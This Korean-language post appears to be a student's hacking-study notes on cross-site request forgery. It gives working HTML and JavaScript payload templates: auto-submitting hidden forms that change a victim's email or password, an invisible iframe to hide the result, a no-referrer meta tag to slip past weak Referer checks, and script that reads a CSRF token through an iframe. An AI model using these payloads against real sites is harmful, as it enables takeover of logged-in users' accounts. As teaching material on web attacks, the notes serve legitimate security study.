CSRF(Cross Site Request Forgery)
클라이언트 측 공격으로, 피해자가 자신의 의도와는 다르게, 자신도 모르게 서버로 임의의 요청을 하게 만드는 공격.
피해자의 세션을 활용하는 공격이므로, 피해자가 로그인 된 상태여야 공격가능. 주로 게시판이나 메일함에서 공격한다.
CSRF는 요청을 위조하는 공격이므로 모든 요청에서 발생할 수 있지만, 중요한 요청(비밀번호나 이메일 변경, 관리자 계정 등록 등...)에 대해 주로 이루어진다. 의외로(?) 꽤 많이 일어난다고...
CSRF 공격하는 방법
1. POST를 GET으로 메소드 바꿔보기. GET 메소드에 대해 요청이 잘 가면 바로 공격 가능!
2. GET으로 바꿔 보냈을 때 method not allowed 뜰 때. 즉 POST 메소드로만 요청 갈 때.
이런 경우는 XSS 취약점을 이용해서 CSRF 공격 해야한다. POST 메소드이므로, <form method="post">데이터</form>와 같이 form 태그 만들어서 그 안에 데이터 날려서 보내줘야 한다.
메일주소 바꾸는 요청의 기본적인 형태는 다음과 같다.
<form method="POST" action="이메일주소변경창">
<input type="hidden" name="email" value="변경메일@test.com">
<input type="submit" value="click me">
</form>
클릭버튼 없이 바꾸게 만드는 요청 폼은 다음과 같이 만들 수 있다.
<form method="POST" action="이메일주소변경창">
<input type="hidden" name="email" value="변경메일@test.com">
</form>
<script> document.forms[0].submit();
</script>
위의 스크립트 태그의 자바스크립트 코드는 자동으로 폼을 서버로 제출한다.
이건 xss 공격 이용해서 csrf 하는 방식인데.. 이렇게 공격했을 때 비밀번호 변경완료 알림이 뜨면 피해자는 바로 공격당했음을 알 수 있다.
그래서 폼을 전송한 결과를 iframe에 넣어 이 iframe도 안 보이게 css 설정할 수 있다.
<iframe width="0" height="0" border="0" name="이름" id="이름" style="display:none;"></iframe>
<form method="POST" action="이메일주소변경창">
<input type="hidden" name="email" value="변경메일@test.com">
</form>
<script> document.forms[0].submit();
</script>
3. referrer 헤더 검사
referrer : 이전 페이지의 URL. 요청이 어디에서 온 건지 확인하는 용도.
referer 검사 잘 하면 csrf 못한다...
잘 안 되는 경우는 다음과 같다.
if referer헤더가 있으면
-> 검사 시작
-> ((검사))
else referer헤더가 없으면
-> 그냥 요청 ㅇㅋ! 고!
위의 경우는 referer 헤더 없이 보내는 공격 하면 된다. 메타 태그를 이용하여,
<meta name="referrer" content="no-referrer"> 를 추가로 넣어주면 됨
4. csrf 토큰 사용
csrf 토큰은 csrf를 막기 위해서 고안된 것으로, 랜덤값 생성해서 세션에 저장해놓은 뒤 패스워드 변경 요청에 csrf 토큰 값 일치하는지 확인한다.
csrf 토큰을 쓰는 경우 csrf 공격을 하려면, xss를 이용해야한다. 스크립트를 삽입하여 csrf token 값을 받아온 뒤 그걸 넣어서 같이 보내면 된다. 아래의 코드는 csrf 토큰을 받아오는 코드 예시이다.
<iframe id="getCSRFToken" src="주소" onload="exploit()"></iframe>
<script>
function exploit() {
var token = document.getElementById('getCSRFToken').contentDocument.forms[0].csrf_token.value;
console.log(token);
}
</script>
위의 코드를 이용하여, 다음과 같이 패스워드 변경 CSRF 공격코드 예제를 만들 수 있다.
<iframe id="getCSRFToken" src="패스워드 변경 페이지 주소" onload="exploit()"></iframe>
<form id="csrf_form" method="POST" action="패스워드 변경 페이지 주소">
<input name="hh" value="1234">
<input name="csrf_token" value="">
</form>
<script>
function exploit() {
var token = document.getElementById('getCSRFToken').contentDocument.forms[0].csrf_token.value;
console.log(token);
document.getElementById('csrf_form').csrf_token.value=token;
document.getElementById('csrf_form').submit();
}
</script>
'Hacking_study > 해킹과제' 카테고리의 다른 글
파일 업로드 및 다운로드 (8) | 2023.06.01 |
---|---|
CSRF 수업 정리(9주차) (0) | 2023.05.25 |
XSS (stored xss / reflected xss / 대응 방안) (0) | 2023.05.11 |
Blind SQL injection 및 SQLi 대응방안 (0) | 2023.05.03 |
Error based SQL injection (0) | 2023.05.01 |